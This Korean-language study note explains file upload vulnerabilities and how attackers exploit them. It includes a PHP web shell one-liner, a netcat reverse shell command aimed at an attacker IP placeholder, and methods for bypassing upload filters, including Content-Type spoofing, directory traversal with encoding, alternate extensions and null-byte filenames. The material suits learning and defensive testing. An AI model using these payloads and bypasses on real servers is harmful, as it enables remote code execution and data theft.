업로드 되는 파일의 검증이 미흡해 발생하며 공격자가 임의의 파일을 업로드 할 수 있는 공격이다. 서버에서 지정한 파일이 아닌 공격자가 원하는 파일을 업로드하는 것이 핵심이다.
파일 크기와 개수를 제한하지 않는 경우
→ 서버의 연결 자원과 디스크 자원을 고갈 시키는 DOS 공격으로 정상적인 서비스를 방해한다.
피싱
Deface (index.html 변조)
XSS (악성 스크립트로 악성코드 유포)
Server Side Script (Web Shell)
웹 서버에서 실행할 수 있는 파일이며 실행 가능해야 한다.
웹 브라우저로 업로드한 파일을 요청한다. 그리고 파일이 어느 경로에 위치하는지 알아야 한다.
<?php echo system($_GET['cmd']); ?>
소스 코드 탈취
소스 코드를 탈취한다. 코드를 탈취하면 DB 정보를 탈취하는 것과 동일하다. 코드에는 DB와 연결하기 위한 계정 정보가 존재하기 때문이다!!
Reverse Shell
nc -e /bin/sh [공격자 IP 주소] [포트 번호]
이 명령어는 공격자가 지정한 IP와 포트번호를 통해 Reverse Shell을 열게 됩니다.파일 업로드 위치 파악
HTTP Header의 Content-Type Bypass
burpsuite Intercept 기능으로 Content-Type 변경 Ex. text/html → image/jpeg
업로드 디렉토리의 실행 권한이 없는 경우
Directory Traversal 공격으로 상위 경로에 업로드 시도
Directory Traversal 공격 실패한다면 /
대신 URL 인코딩, URL 더블 인코딩 등 우회 시도
블랙리스트 기반 필터링 우회
php, jsp
문자열을 필터링 한다면 php5, jspx
등 업로드 가능한 확장자 명으로 우회 시도
확장자 우회
4-1. test.png.php
→ 웹 서버가 이미지 파일로 인식해 업로드
4-2. test.php%00.php
→ PHP는 파일명에서 null 바이트 문자인 %00 이후의 문자열을 무시하므로, 이를 이용하여 파일 명을 변조해 업로드할 수 있다.
4-3. test.php.
→ Apache와 Tomcat은 MutliViews 기능과 기존 파일 확장자 매핑에 우선하는 확장자 매핑기능이 있다. 따라서 업로드 된 파일의 확장자를 블랙리스트로 필터링하는 경우에는 마침표가 파일 확장자 뒤에 추가되는 등의 변형된 확장자로 우회할 수 있다.
4-4. 클라이언트 측에서 이미지 파일만 업로드 가능하다고 확장자를 검사한다면?
burpsuite Intercept 기능으로 파일 이름 파라미터의 확장자 수정해서 우회한다.
4-5. 다른 확장자 명 사용
아래는 .JSP
, .PHP
대신 우회 가능한 확장자 명이다.
-- PHP
.phtml, .php3, .php4, .php5, .php7, .phps
-- JSP, Spring Framework
.jspf, .jsw, .jsf, .jswx, .class, .java, .jar, .war
File 시그니처